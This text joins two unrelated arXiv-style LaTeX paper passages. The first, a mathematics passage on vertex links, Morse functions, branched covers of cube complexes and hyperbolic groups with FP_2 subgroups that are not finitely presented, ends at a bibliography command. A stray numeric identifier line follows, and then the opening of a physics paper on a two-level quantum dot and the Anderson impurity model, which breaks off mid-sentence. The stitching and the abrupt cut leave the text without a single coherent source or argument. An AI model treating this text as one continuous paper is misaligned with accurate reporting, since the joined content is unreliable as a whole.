Considering a vertex of the form $(b_1, b_2, a_3)$, we have $${\rm{Lk}}((b_1, b_2, a_3), \xcplx) = {\rm{Lk}}(a_3, \Gamma_A)\ast {\rm{Lk}}([b_1, b_2], \Gamma_B).$$ We can still retract to show that ${\rm{Lk}}([b_1, b_2], \Gamma_B) = S(S({\rm{Lk}}([\overline{b_1}, \overline{b_2}], L')))$, the latter is a discrete set and is non-empty since $L'$ has nlcp. Thus, $${\rm{Lk}}((b_1, b_2, a_3), \xcplx) = V_4\ast V_4\ast S(S(V_n)),$$ where the $n$ depends on the vertices $b_1$ and $b_2$.
For a vertex of the form $(a_1, a_2, b_3)$ we obtain that $${\rm{Lk}}((a_1, a_2, b_3), \xcplx) = V_4\ast S(S({\rm{Lk}}(\overline{b_3}, L'))).$$ Since $\overline{b_3}$ is the barycenter of a 2-cell, we obtain that ${\rm{Lk}}(\overline{b_3}, L') = \hexagon$ where $\hexagon$ is a copy of $S^1$ triangulated with 6 vertices. Thus, $${\rm{Lk}}((a_1, a_2, b_3), \xcplx) = V_4\ast S(S(\hexagon)).$$
For a vertex of the form $(a_1, b_2, a_3)$ we similarly obtain that $${\rm{Lk}}((a_1, b_2, a_3), \xcplx) = V_4\ast S(S({\rm{Lk}}(\overline{b_2}, L'))).$$ In this case $\overline{b_2}$ is the barycenter of a 1-cell and thus ${\rm{Lk}}(\overline{b_2}, L') = V_n\ast S^0$. Since $L'$ has nlcp we see that $n\geq 1$ and depends on the chosen vertex $b_2$.
Finally a vertex of the form $(b_1, a_2, a_3)$ has link $${\rm{Lk}}((b_1, b_2, b_3), \xcplx) = V_4\ast S(S({\rm{Lk}}(\overline{b_1}, L'))).$$ The vertex $\overline{b_1}$ is a vertex of the original complex $L$ and thus ${\rm{Lk}}(\overline{b_1}, L') = {\rm{Lk}}(\overline{b_1}, L)'$. Set $\Lambda = {\rm{Lk}}(\overline{b_1}, L)$. Thus $${\rm{Lk}}((b_1, b_2, b_3), \xcplx) = V_4\ast S(S(\Lambda'))).$$
These links are summarised in table \ref{table:links}.
\begin{table}[h!]
\centering
\begin{tabular}{|c|rcl|}
\hline
Vertex of $\xcplx$ &\multicolumn{3}{c}{Link of the vertex in $\xcplx$}\\
\hline
$(a_1, a_2, a_3)$& $\Gamma_B $&$=$&$ S(S(L'))$ \\
$(a_1, a_2, b_3)$& ${\rm{Lk}}(b_3, \Gamma_B)\ast V_4 $&$=$&$ S(S(\hexagon))\ast V_4$\\
$(a_1, b_2, a_3)$& ${\rm{Lk}}(b_2, \Gamma_B)\ast V_4 $&$=$&$ S(S(V_n\ast S^0))\ast V_4$\\
$(a_1, b_2, b_3)$& ${\rm{Lk}}([b_2, b_3], \Gamma_B)\ast V_4\ast V_4 $&$=$&$ S(S(S^0))\ast V_4\ast V_4$\\
$(b_1, a_2, a_3)$& ${\rm{Lk}}(b_1, \Gamma_B)\ast V_4 $&$=$&$ S(S(\Lambda'))\ast V_4$\\
$(b_1, a_2, b_3)$& ${\rm{Lk}}([b_1, b_3], \Gamma_B)\ast V_4\ast V_4 $&$=$&$ S(S(S^0))\ast V_4\ast V_4$\\
$(b_1, b_2, a_3)$& ${\rm{Lk}}([b_1, b_2], \Gamma_B)\ast V_4\ast V_4 $&$=$&$ S(S(V_n))\ast V_4\ast V_4$\\
$(b_1, b_2, b_3)$& $\Gamma_A $&$=$&$ V_4\ast V_4\ast V_4$\\
\hline
\end{tabular}
\caption[The links of various vertices in $\xcplx$.]{The links of various vertices in $\xcplx$. Here $\Lambda'$ is the barycentric subdivision of the link of the vertex corresponding to $b_1$ in $L$. Also, \hexagon is a copy of $S^1$ triangulated with six vertices. It should be noted that, since $L$ has nlcp, the graph $\Lambda$ is connected and $V_n$ contains at least one point. }
\label{table:links}
\end{table}
\subsection{The Morse theory}
To define a Morse function on the complex $\xcplx$ we begin by defining a Morse function on each of the graphs $A_i\ast B_i$. We do this by putting an orientation on each edge.
Given $\Gamma_A, \Gamma_B$ as above consider the cube complex $\xcplx$. This is naturally contained in $X = \prod_{i=1}^{3} A_i\ast B_i$. There is a bipartion of the sets $B_i$, into $B_i^+, B_i^-$, extending the natural bipartition of $S^0$. Take any bipartition of $A_i = A_i^+\sqcup A_i^-$ such that $|A_i^+| = 2$.
Let $v\in A_i$ be a vertex and $w\in B_i$ be a vertex.
\begin{itemize}
\item Orient the edge from $v$ to $w$ if $v\in A_i^+$ and $w\in B_i^+$ or if $v\in A_i^-$ and $w\in B_i^-$.
\item Orient the edge from $w$ to $v$ if $v\in A_i^+$ and $w\in B_i^-$ or if $v\in A_i^-$ and $w\in B_i^+$.
\end{itemize}
We can then use this to define a Morse function on $X$ and restricting this we get a Morse function $f$ on $\xcplx$.
The ascending (resp. descending) link is the full subcomplex of the link spanned by vertices corresponding to those edges oriented toward (resp. away from) the vertex. Let $a_1\in A_i$ and $b_i\in B_i$. An edge emananting from the vertex $(v_1, v_2, v_3)$ correspond to changing a coordinate of the form $a_i$ to a coordiante of the form $b_i$ or vice versa.
In the case that the coordinate $a_i$ was in $A_i^+$, the outgoing edges correspond to $B_i^+$, similarly if $a_i\in A_i^-$, then the outgoing edges correspond to $B_i^-$.
The ascending and descending links are the full subcomplexes of the link spanned by vertices corresponding to edges oriented towards or away from the vertex respectively. The ascending and descending links for this Morse function are in Table \ref{table:ascdesc}.
\begin{table}[h!]
\centering
\begin{tabular}{|c|c|}
\hline
Vertex & Ascending Link/Descending link\\
\hline
$(a_1, a_2, a_3)$& $S(L')$ \\
$(a_1, a_2, b_3)$& $S(\hexagon)\ast S^0$\\
$(a_1, b_2, a_3)$& $S(V_n\ast S^0)\ast S^0$\\
$(a_1, b_2, b_3)$& $S(S^0)\ast S^0\ast S^0$\\
$(b_1, a_2, a_3)$& $S(\Lambda')\ast S^0$\\
$(b_1, a_2, b_3)$& $S(S^0)\ast S^0\ast S^0$\\
$(b_1, b_2, a_3)$& $S(V_n)\ast S^0\ast S^0$\\
$(b_1, b_2, b_3)$& $S^0\ast S^0\ast S^0$\\
\hline
\end{tabular}
\caption{Ascending and descending links for the Morse function $f$. }
\label{table:ascdesc}
\end{table}
We can see that the ascending and descending links of $f$ are simply connected with the exception of $S(L')$, cf. Table \ref{table:ascdescbranchlinks}.
\subsection{The branched cover} \label{sec:branched}
We are now ready to take the branched cover of $\xcplx$ we are interested in. Consider the subcomplex $Z$ of $\prod_{i=1}^3 A_i\ast B_i$
\begin{align*}
Z =& (A_1\ast B_1)\times B_2\times A_3\, \sqcup\\
&A_1\times (A_2\ast B_2)\times B_3 \,\sqcup\\
&B_1\times A_2\times (A_3\ast B_3).
\end{align*}
We take as our branching locus $Y = Z\bigcap \xcplx$.
Since the link of each vertex in $\xcplx$ is tripartite, there is an embedding ${\rm{Lk}}(v, \xcplx)\to C_1\ast C_2\ast C_3$. Considering each of the complexes with the CAT(1) metric this map is distance non-decreasing. The vertices corresponding to the branching locus $Y$ form one of the sets $C_i$. The distance between any two point in $C_i$ is $\pi$ in $C_1\ast C_2\ast C_3$. Thus the distance is at least $\pi$ in ${\rm{Lk}}(v, \xcplx)$. Thus the subcomplex $Y$ is locally isometrically embedded.
The complex $L$ had no local cut points. Thus $L'$ also has no local cut points. We see that ${\rm{Lk}}(e, \xcplx)\smallsetminus {\rm{Lk}}(e, Y)$ is connected as removing a discrete set from a space with no local cut points preserves connectivity.
To take a branched cover we use a similar procedure to that detailed in \cite{brady_branched_1999,kropholler_almost_2018}.
Start by projecting to 2-dimensional complexes. These are the complexes $\xcplxij{i}{j}\smallsetminus (A_i\times B_j)$ for $(i, j)\in \{(1, 2), (2, 3), (3, 1)\}$. These are restrictions of projections $\rho_k\colon\prod_{l=1}^3 A_l\ast B_l\to (A_i\ast B_i)\times (A_j\ast B_j)$ projecting away from the $k$-th coordinate.
Each of these complexes deformation retracts onto a graph $\Lambda_{ij}$. Indeed each square has exactly one corner in $A_i\times B_j$ and we can project out radially from this corner. This graph can be seen as a subgraph of $$\Xi_{ij} = \big((A_i\ast B_i) \times B_j\big)\cup \big(A_i\times (A_j\ast B_j)\big).$$
Let $q_{ij}$ be a prime to be determined later. Let $\alpha_{ij}$ be a permutation of order $q_{ij}$ and $\beta$ be a permutation such that $\alpha^{\beta} = \alpha^l$ where $l$ is a generator of $\ZZ_{q_{ij}}^{\times}$. Note that $[\alpha^a, \beta^b] = \alpha^{a(l^b-1)}$, this is a non-trivial power of $\alpha$ if $0<a<q_{ij}$ and $0<b<q_{ij}-1$ and is hence an element of order $q_{ij}$.
We define a homomorphism $\phi_{ij}\colon \pi_1(\Lambda_{ij})\to S_{q_{ij}}$ by labelling the graph $\Xi_{ij}$ with elements of $S_{q_{ij}}$. We label the edges of $A_i\ast B_i \times B_j$ by powers of $\alpha$ such that no two edges oriented towards a vertex have the same label. We label the edges of $A_i\times A_j\ast B_j$ by powers of $\beta$ with the same condition. This required us to pick $q_{ij}$ larger than the valence of any vertex in $A_j\ast B_j$ or $A_i\ast B_i$.
This gives us three representations of $\pi_1(\xcplx\smallsetminus Y)$ in the symmetric groups $S_{q_{ij}}$ for $(i, j)\in \{(1, 2), (2, 3), (3, 1)\}$. We can combine these to get a representation into $S_{q_{12}q_{23}q_{31}}$ and take the cover corresponding to the stabiliser of 1 in this subgroup. We then lift the metric and complete to obtain the branched cover ${\overline{\mathbf{X}}}$. This is a non-positively curved cube complex by Lemma \ref{npcbranch}.
\subsubsection{The links in the branched cover}
Shortly, we will look at the ascending and descending links for a new Morse function. We first compute the link of each vertex in ${\overline{\mathbf{X}}}$. The link of a vertex in ${\overline{\mathbf{X}}}$ is a branched cover of a link in $\xcplx$.
Recall, there are 8 types of vertex in $\xcplx$ we will examine each type in turn. The vertices which are of the form $(a_1, a_2, a_3)$ or $(b_1, b_2, b_3)$ are disjoint from the branching locus, thus the link of such a vertex lifts to the cover ${\overline{\mathbf{X}}}$.
Let $v$ be a vertex on the branching locus $Y$. Let $w$ be a vertex in ${\overline{\mathbf{X}}}$ mapping to $v$. We get a branched covering ${\rm{Lk}}(w, {\overline{\mathbf{X}}})\to {\rm{Lk}}(v, \xcplx)$. The points at which this map is not a local isometry are the vertices corresponding to $Y$ in ${\rm{Lk}}(v, \xcplx)$. We call these vertices the {\em branch set}.
To understand the covering of each link we look at the three projections. We will examine the case of the vertex $v = (a_1, b_2, a_3)$. Under the projections $\rho_2, \rho_3$, the link of this vertex is a subset of a contractible set and so these representations do not change this link.
There is a deformation retraction from the link of $v$ to the sub graph $\Delta$ spanned by the vertices not in the branch set. In all cases this is a join of two discrete sets. For $v$ this maps isometrically onto the link of $(b_2, a_3)$.
By choice of covering each loop of length 4 in this graph will have a connected preimage. Each vertex in the branch set cones off some subgraph. When we complete the cover we are coning off the lifts of this subgraph.
There is a natural tripartite structure on the link of a vertex in the branched cover coming from lifting the tripartite structure from ${\rm{Lk}}(v, \xcplx)$.
\begin{rem}\label{rem:4loops}
Since all the loops of length 4 have connected preimage the cover of the bipartite graph consisting of the vertices not in the branch set will have no loops of length 4.
\end{rem}
This will be useful in proving the hyperbolicity of the branched cover shortly.
There is a naturally defined Morse function $\bar{f}$ on ${\overline{\mathbf{X}}}$ by composing the Morse function on $\xcplx$ with the branched covering map.
The ascending and descending links of $\bar{f}$ are the preimages of the ascending and descending links of $f$ under the branched covering map.
We now examine these ascending and descending links. We can see the ascending and descending links in ${\overline{\mathbf{X}}}$ as branched covers of the ascending and descending links in $\xcplx$ over the branch set. Since a neighbourhood of any point not on the branching locus lifts to the branched cover, the ascending and descending links of vertices of the form $(a_1, a_2, a_3)$ and $(b_1, b_2, b_3)$ remain unchanged.
The other links change under this branched covering map. We must show that these branched covers are simply connected. For what follows branch set will be referred to as $V$.
\begin{lem}\label{lem:int4cycles}
In all the complexes $\Gamma$ in the Table \ref{table:ascdesc} there is an ordering $v_1, v_2, \dots$ on the set $V$ such that ${\rm{Lk}}(v_i, \Gamma)\cap \bigcup_{j<i} {\rm{St}}(v_j, \Gamma)$ is connected and covered by loops of length 4.
\end{lem}
\begin{proof}
For the cases of vertices of type $(b_1, a_2, b_3), (b_1, b_2, a_3), (a_1, b_2, a_3)$ and $(a_1, b_2, b_3)$ this is clear since ${\rm{Lk}}(v_i)\cap {\rm{St}}(v_j) = {\rm{Lk}}(v_i)$ and ${\rm{Lk}}(v_i)$ is the suspension of a discrete non-empty set with at least 2 elements.
We provide the proof for the complex $S(\Lambda{'})\ast S^0$, the proof for $S(\hexagon)\ast S^0$ being the special case that $\Lambda$ is a triangle.
The key element of the proof is that given a connected bipartite graph there is an ordering on the vertices in one part such that the star of vertex intersects the star of a previous vertex in a non-empty set.
Let $W = \{w_1, \dots w_n\}$ be the vertices in the middle of edges of $\Lambda'$. Assume that under this ordering the star of $w_i$ intersects the star of $w_j$ for some $j<i$. The set $V$ is the octahedralisation of $W$. We claim that the ordering $w_1^-, w_1^+, w_2^-, w_2^+, \dots, w_n^+$ is the desired ordering.
The link of each of the vertices is non-empty. Also the star of each vertex intersects the star of a previous vertex previous vertex. Since we are taking the octahedralisation then we can see that ${\rm{Lk}}(v_i, \Gamma)\cap \bigcup_{j<i} {\rm{St}}(v_j, \Gamma)$ is the suspension of a discrete set. This set contains at least two elements so will be connected and can be covered by loops of length 4 as desired.
\end{proof}
We are now ready to prove that the ascending and descending links of these vertices will still be simply connected.
We are removing the vertices and then taking a cover. Since the link of each vertex can be covered by 4-cycles which have non-empty intersection we see that there is one preimage of each vertex in the branch set. More over since each of the vertices has the property from Lemma \ref{lem:int4cycles} we are gluing a sequence of contractible sets along connected subspaces. This will result in a simply connected space.
We now gain the following theorem.
\begin{thm}\label{thm:morsebranch}
Let ${\overline{\mathbf{X}}}$ be the cube complex constructed above as a branched cover of $\xcplx$. Then there is an $S^1$ valued Morse function $f$ on ${{\overline{\mathbf{X}}}}$ such that the ascending and descending links are simply connected or $S(L')$.
\end{thm}
\begin{cor}\label{cor:fp2notf2}
Let $L$ be a simplicial complex with nlcp whose fundamental group is perfect. Let ${\overline{\mathbf{X}}}$ be the cube complex constructed above with $\Gamma_B = S(S(L'))$. Then the kernel of $f_*$ is of type $FP_2$ but not finitely presented.
\end{cor}
\begin{proof}
By Lemma \ref{lem:retractlinks} that the finiteness properties of the kernel are controlled by the homotopy of $S(L')$. Thus if $L'$ has non-trivial perfect fundamental group, then the kernel of $f_*$ is of type $FP_2$ but not finitely presented.
\end{proof}
\begin{rem}
If $L$ is simply connected, then the above kernel is finitely presented but not of type $FP_3$.
\end{rem}
\subsection{The cover is hyperbolic}
We are now left to prove that the cover is hyperbolic. We appeal to Theorem \ref{thm:flatplane}. To show that there is no flat plane in the universal cover we use the fly maps from \ref{def:fly.map}. The technique is similar to the techniques used in \cite{brady_branched_1999,kropholler_finitelypresented_2018,lodha_hyperbolic_2017other}
Begin by assuming for a contradiction that $i\colon \mathbb{E}^2\to {\overline{\mathbf{X}}}$ is an isometric embedding of a flat plane.
Recall the following definition from \cite{brady_branched_1999}.
\begin{definition}
Given a CAT(0) cube complex $X$ and an isometric embedding $i\colon \mathbb{E}^2\to X$, we say that a subset $D$ of $X$ intersects $\mathbb{E}^2$ {\em transversally} at a point $p$ if there is an $\epsilon>0$ such that $N_{\epsilon}(p)\cap D\cap i(\mathbb{E}^2) = \{p\}$.
\end{definition}
Let $\overline{Y}$ be the preimage of the branching locus under the branched covering map.
\begin{theorem}\label{thm:transinter}
There is a transverse intersection point of $i(\mathbb{E}^2)$ and $\overline{Y}$.
\end{theorem}
\begin{proof}
We start by finding at least one point in $i(\mathbb{E}^2)\cap \overline{Y}$. To find such a point, note that there is a cube $c$ in which $i(\mathbb{E}^2)$ has 2-dimensional intersection. This intersection can be seen as the intersection of an affine plane in $\RR^3$ with a cube in the standard cubulation. The branching locus in this cube is depicted in Figure \ref{fig:branchcube}. If $i(\mathbb{E}^2)$ does not intersect $\overline{Y}$ in $c$, then it intersects $c$ in the link of a vertex $v$ disjoint from the branching locus. By Corollary \ref{cor:flylinks} ${\rm{Lk}}(v, N(\mathbb{E}^2))$ is contained in $S^0\ast S^0\ast S^0$. We can now develop into some of 8 cubes around this vertex. These 8 cubes form together as in Figure \ref{fig:8branch}, however we note that not all these cubes need exist. Within these 8 cubes there is an intersection with the branching locus.
\begin{figure}
\centering
\input{intpattern.pdf_tex}
\caption{The branching locus in one cube. The edges of the branching locus are depicted in red. }
\label{fig:branchcube}
\end{figure}
\begin{figure}
\centering
\def70mm{70mm}
\input{8cubes.pdf_tex}
\caption{The union of 8 cubes with the branching locus shown in bold.}
\label{fig:8branch}
\end{figure}
In one of these 8 cubes $i(\mathbb{E}^2)$ has a single point of intersection with $\overline{Y}$. We denote this cube by $c$. Note that if this point is not a transverse point of intersection, then there is an edge of $\overline{Y}$ contained in $i(\mathbb{E}^2)$.
Since the intersection with $c$ is that of an affine plane. We can see that if the intersection point is in the interior of an edge, then it is a transverse intersection.
We are now left in the case that the intersection point is a vertex of the cube $c$. We begin with the case that the intersection point is a vertex which maps to $(a_1, b_2, a_3), (b_1, a_2, b_3), (a_1, b_2, b_3)$ or $(b_1, b_2, a_3)$. The link of any of these vertices is a join of a graph and a discrete set. The vertices in the discrete set correspond to $\overline{Y}$. Thus if $i(\mathbb{E}^2)$ contains an edge $e$ of $\overline{Y}$ at the vertex in question, then there is a cube $c'$ sharing a face with $c$ which contains the edge $e$. This cannot happen as $i$ is an isometric embedding.
Let $O$ be the interior points of edges together with vertices mapping to $(a_1, b_2, a_3), (b_1, a_2, b_3), (a_1, b_2, b_3)$ or $(b_1, b_2, a_3)$. We will show that $i(\mathbb{E}^2)$ has a point of intersection $O$. This will complete the proof by the above.
We are now reduced to the case of studying planes which contain a full edge of $\overline{Y}$ and the intersection with $c$ is not contained in $O$. The remainder of the proof is summarised in Figure \ref{fig:planeswithbranchedges}.
\begin{figure}
\centering
\input{hyperfig.pdf_tex}
\caption{This figure depicts the final stages of the proof of hyperbolicity. In each stage the red part of the picture is contained in the plane. In the final figure we find that containing the red line forces the plane to contain points of $O$.}
\label{fig:planeswithbranchedges}
\end{figure}
We begin with the case of an edge between vertices that map to $(a_1, b_2, a_3)$ and $(b_1, b_2, a_3)$. There is a continuous family of embedded planes in the cube which contain this edge. However, all but one of the planes in this family intersect the cube in a point contained in $O$, this gives a transverse intersection point.
The exceptional plane is the plane containing a square with vertices mapping to $(b_1, a_2, a_3), (a_1, a_2, a_3), (a_1, b_2, a_3)$ and $(b_1, b_2, a_3)$. This intersects the edge with vertices mapping to $(b_1, a_2, a_3)$ and $(b_1, a_2, b_3)$ in the vertex mapping to $(b_1, a_2, a_3)$.
If this is not a transverse intersection point, then there is an adjacent cube in which $i(\mathbb{E}^2)\cap\overline{Y}$ contains an edge of $\overline{Y}$ with vertices mapping to $(b_1, a_2, a_3)$ and $(b_1, a_2, b_3)$.
Once again there is a continuous family of flat planes containing this edge and all of them, except one, intersect in a point in $O$, giving a transverse intersection point.
The exceptional plane is the plane containing a square with vertices mapping to $(b_1, a_2, a_3), (a_1, a_2, a_3), (b_1, a_2, b_3)$ and $(a_1, a_2, b_3)$. This intersects the edge with vertices mapping to $(a_1, a_2, b_3)$ and $(a_1, b_2, b_3)$ in the vertex mapping to $(a_1, a_2, b_3)$. If this is not a transverse intersection point, then there is an adjacent cube in which $i(\mathbb{E}^2)\cap\overline{Y}$ contains an edge of $\overline{Y}$ with vertices mapping to $(a_1, a_2, b_3)$ and $(a_1, b_2, b_3)$.
There is a continuous family of flat planes in this cube which contain an edge with vertices mapping to $(a_1, a_2, b_3)$ and $(a_1, b_2, b_3)$. All of these flat planes will intersect in the cube in a point in $O$. This gives us a transverse point of intersection.
\end{proof}
\begin{lem}\label{lem:notransinter}
There cannot be a transverse intersection of $i(\mathbb{E}^2)$ and the preimage of the branching locus.
\end{lem}
\begin{proof}
Assume that there is a transverse intersection point $p$. By Corollary \ref{cor:flylinks} there is an inclusion of ${\rm{Lk}}(p, {\overline{\mathbf{X}}})\to S^0\ast S^0\ast S^0.$ However, this would give a loop of length 4 in the transverse direction which contradicts the choice of branched cover cf. Remark \ref{rem:4loops}.
\end{proof}
Combining Lemma \ref{lem:notransinter} and Theorem \ref{thm:transinter} we reach our desired contradiction. Together with Theorem \ref{thm:flatplane} we arrive at the following.
\begin{thm}\label{thm:hypbranch}
Let ${\overline{\mathbf{X}}}$ be one of the branched covers constructed in \ref{sec:branched}. Then $\pi_1({\overline{\mathbf{X}}})$ is a hyperbolic group.
\end{thm}
Putting all of this together we have the following theorem.
\begin{thmm}
There exists a hyperbolic group $G$ such that $G = H\rtimes \ZZ$ and $H$ is of type $FP_2$ but not finitely presented.
\end{thmm}
\begin{proof}
The fundamental group of ${\overline{\mathbf{X}}}$ is hyperbolic by Theorem \ref{thm:hypbranch}. Also by Corollary \ref{cor:fp2notf2}, this hyperbolic group has a subgroup which is of type $FP_2$ but not finitely presented.
\end{proof}
\section{Uncountably many groups of type $FP_2$ which do not contain $\ZZ^2$}
We begin by defining an invariant similar to that of \cite{leary_uncountably_2015other}.
\begin{definition}
Let $T$ be a set of words in $x_1, \dots, x_n$. Let $G$ be a group and $S = (g_1, \dots, g_n)$ an $n$-tuple of elements in $G$.
Define $$\mathcal{R}(G, S, T) = \{r\in T\mid r(S) = 1\mbox{ in }G\}.$$
\end{definition}
\begin{prop}\label{prop:countablymany}
For a fixed set $T$ and fixed countable $G$. The invariant $\mathcal{R}(G, S, T)$ can only take countably many values.
\end{prop}
\begin{proof}
There are only countably many $n$-tuples of group elements. Thus once $G$ and $T$ are fixed, we only have countably many possibilities.
\end{proof}
Now, set $L$ to be a complex with nlcp such that $\pi_1(L) = A_5$.
We apply the proof of the preceding section to obtain a non-positively cube complex $X$ such that $\pi_1(X)$ is hyperbolic and contains a subgroup $H$ of type $FP_2$ which is not finitely presented.
Let $\tilde{X}$ be the universal cover of $X$ and $\bar{X}$ be the cover of $X$ corresponding to the subgroup $H$.
The Morse function on $X$ gives a real valued Morse function on $\bar{X}$. All of the ascending and descending links are connected. Hence the inclusion of $\bar{X}_{\frac{1}{2}}\to \bar{X}$ gives a surjection on the level of fundamental groups. Since $\bar{X}_{\frac{1}{2}}$ is a compact space we see that its fundamental group is finitely presented. Let $P = \langle S\mid R\rangle$ be a presentation for $\pi_1(\bar{X}_{\frac{1}{2}})$, as stated $S$ is also a generating set for $H$.
All the vertices of $\bar{X}$ map to integers thus $\bar{X}_{\frac{1}{2}}$ contains no vertices of $\bar{X}$. Let $V$ be the set of vertices in $\bar{X}$.
\begin{lem}
The inclusion $\bar{X}_{\frac{1}{2}}\to \bar{X}\smallsetminus V$ induces an isomorphism on fundamental groups.
\end{lem}
\begin{proof}
Let $U$ be the universal cover of $\bar{X}\smallsetminus V$. Let $v\in V$ be a vertex of $\bar{X}$. Since $\bar{X}$ is a locally CAT(0) cube complex we can see that $N_{\epsilon}(v)\smallsetminus\{v\}$ deformation retracts onto ${\rm{Lk}}(v, \bar{X})$. Thus in the case that ${\rm{Lk}}(v, \bar{X})$ is simply connected, the neighbourhood lifts to $U$. We are now concerned with the case where ${\rm{Lk}}(v, \bar{X}) = S(S(L'))$. In this case we see that the cover of ${\rm{Lk}}(v, \bar{X})$ is a copy of $\widetilde{S(S(L'))}$ which by \cite{leary_uncountably_2015other} is equal to $S(\widetilde{S(L')})$.
We can complete $U$ to a CAT(0) cube complex which inherits a height function from $\bar{X}$. The ascending and descending links of this height function are all simply connected. Thus, the $\frac{1}{2}$-level set is connected and simply connected. So we see that the inclusion $\bar{X}_{\frac{1}{2}}\to \bar{X}\smallsetminus V$ induces an isomorphism on fundamental groups.
\end{proof}
Adding the vertices in $V$ back to $\bar{X}$ adds relations. Each time we add a vertex with link $S(S(L'))$ we are adding a new relation. Since $A_5$ is normally generated by one relation we can assume that we add one relation for each such vertex, namely, the relation obtained by coning off a normal generator of $A_5$ in $S(S(L'))$.
We now have a presentation for $\pi_1(\bar{X})$ of the form $\langle S\mid R\cup T\rangle$, where relations in $T$ are in one to one correspondence with vertices in $\bar{X}$ with link $S(S(L'))$, Let $Y$ be the collection of these vertices.
Given a subset $Z\subset Y$, let $T_Z$ be the subset of $T$ given by the relations corresponding to those vertices in $Z$. Let $H(Z)$ be the group given by the presentation $\langle S\mid A\cup T_Z\rangle.$
\begin{prop}\label{prop:usubz}
If $Z\subset Y$, then $\mathcal{R}(H(Z), S, T) = T_Z$.
\end{prop}
\begin{proof}
By definition of $H(Z)$ we can see that $T_Z\subset \mathcal{R}(H(Z), S, T)$.
To prove the other direction we will show that for all $t\in T$, we have that $t\notin \langle\langle T\smallsetminus\{t\}\rangle\rangle.$
The relation $t$ corresponds to a vertex $v$ in $\bar{X}$.
Since the loop representing $t$ is trivial and normally generates $\pi_1(S(S(L')))$ we see that a small neighbourhood of $v$ lifts to the universal cover $U$. We can complete this cover by adding in the missing vertices, let $w$ be one of these vertices. Since this cover is CAT(0) we see that $U$ retracts onto ${\rm{Lk}}(w, U) = S(S(L'))$ and thus $t$ is non-trivial. This gives us the required contradiction.
\end{proof}
\begin{prop}\label{prop:theyarefp2}
The groups $H(Z)$ are of type $FP_2$.
\end{prop}
\begin{proof}
The group $H(Z)$ is the fundamental group of $\bar{X}\smallsetminus W$ where $W$ is the set of vertices not corresponding to elements of $Z$. Taking the universal cover of this space and completing we obtain a CAT(0) cube complex $\widetilde{X(Z)}$ upon which $H(Z)$ acts. The Morse function lifts to this space. The ascending and descending links of this Morse function are simply connected, $S(L')$ or $\widetilde{S(L')}$. We can now apply Theorem\ref{bbmorse} to see that $H(Z)$ is of type $FP_2$.
\end{proof}
\begin{prop}\label{prop:theydonotcontainz2}
The groups $H(Z)$ do not contain any copies of $\ZZ^2$.
\end{prop}
\begin{proof}
The action of $H(Z)$ on $\widetilde{X(Z)}$ is proper. The action is free away from the vertices with link $\widetilde{S(S(L'))}$ at these vertices the group acts like $A_5$ and thus the action is proper. We can now appeal to the Flat Torus Theorem \cite{bridson_metric_1999} to see that were there a copy of $\ZZ^2$ in $H$, then there would be an isometrically embedded flat plane in $\widetilde{X(Z)}$. Applying the proof of Theorem \ref{thm:hypbranch} we can see that no flat plane exists.
\end{proof}
\begin{thmm}
There are uncountably many groups of type $FP_2$ none of which contains a Baumslag-Solitar group.
\end{thmm}
\begin{proof}
Since $T$ is infinite there are uncountably many subsets $T_Z$. By Propositions \ref{prop:countablymany} and \ref{prop:usubz} we see that there are uncountably many groups in this family.
All of these groups are of type $FP_2$ by Proposition \ref{prop:theyarefp2}. They also do not contain a copy of $\ZZ^2$ by Proposition \ref{prop:theydonotcontainz2}.
We are now left in the case that these groups contain $BS(1, n)$ for $n\neq \pm 1$. By \cite{bridson_metric_1999} pg. 439 groups acting properly and semi-simply on CAT(0) spaces do not contain $BS(m, n)$ for $|n|\neq |m|$.
\end{proof}
\bibliographystyle{plain}
|
1,477,468,750,013 | arxiv | \section{Introduction}
The ongoing technological progress in the fabrication and
control of nanoscale electronic circuits, such as quantum dots,
has stimulated detailed studies of various quantum-impurity
models, where a few local degrees of freedom are coupled to a
continuum. Of particular interest are models with
experimentally verifiable universal properties. One of the best
studied examples is the Anderson single impurity
model,~\cite{Anderson61} which describes successfully
electronic correlations in small quantum
dots~\cite{NgLee88,GlazmanRaikh88}. The experimental control of
most of the parameters of this model, e.g., the impurity energy
level position or the level broadening due to hybridization
with the continuum, allows for detailed
investigations~\cite{DGG98,vanderWiel00} of the universal
low-temperature behavior of the Anderson model.
\begin{figure*}
\includegraphics[width=14cm]{fig1.eps}
\caption{A schematic representation of the double-dot system,
along with its reduction in the local-moment regime
to an effective Kondo model with a tilted magnetic
field.
(a) The model system: two localized levels coupled
by tunnelling matrix elements to one another and
to two separate leads. A constant magnetic flux
induces phase factors on those elements. Spinless
electrons residing on the two levels experience a
repulsive interaction.
(b) The mapping onto a spinful generalized Anderson
model, with a tilted magnetic field and different
tunnelling elements for spin-up and spin-down
electrons.
(c) The low-energy behavior of the generalized
Anderson model is mapped onto an anisotropic Kondo
model with a tilted magnetic field,
$\vec{h}_{\text{tot}}$.
} \label{fig:models}
\end{figure*}
In this paper we study the low-energy behavior of a generic
model, depicted in Fig.~\ref{fig:models}a, which pertains
either to a single two-level quantum dot or to a double quantum
dot where each dot harbors only a single level. The spin
degeneracy of the electrons is assumed to be lifted by an
external magnetic field. Several variants of this model have
been studied intensely in recent years, in conjunction with a
plethora of phenomena, such as many-body resonances in the
spectral density,~\cite{Boese01} phase lapses in the
transmission phase,~\cite{Silva02,Golosov06} charge
oscillations,~\cite{Gefen04,Sindel05} and correlation-induced
resonances in the conductance~\cite{Meden06PRL,Karrasch06}.
Albeit being described by the same model, no clear linkage has
been established between these seemingly different effects. The
reason is in part due to the large number of model parameters
involved, which so far obscured a clear physical picture. While
some exact statements can be made, these are restricted to
certain solvable limits,~\cite{Boese01} and are apparently
nongeneric~\cite{Meden06PRL}. Here we construct a framework
which encompasses all parameter regimes of the model, and
enables a unified description of the various phenomena alluded
to above, exposing their common physical origin. For the most
interesting regime of strong fluctuations between the two
levels, we are able to give: (i) explicit analytical
conditions for the
occurrence of transmission phase lapses;
(ii) an explanation of the population inversion and the
charge oscillations~\cite{Gefen04,Sindel05,Silvestrov00}
(including a Kondo enhancement of the latter);
(iii) a complete account of the correlation-induced
resonances~\cite{Meden06PRL} as a disguised Kondo phenomenon.
After introducing the details of the double-dot Hamiltonian in
Sec.~\ref{sec:Model}, we begin our analysis by constructing a
linear transformation of the dot operators, \emph{and} a
simultaneous (generally different) linear transformation of the
lead operators, such that the 2$\times$2 tunnelling matrix
between the two levels on the dot and the leads becomes
diagonal (with generally different eigenvalues). As a result,
the electrons acquire a pseudo-spin degree of freedom which is
conserved upon tunnelling between the dot and the continuum, as
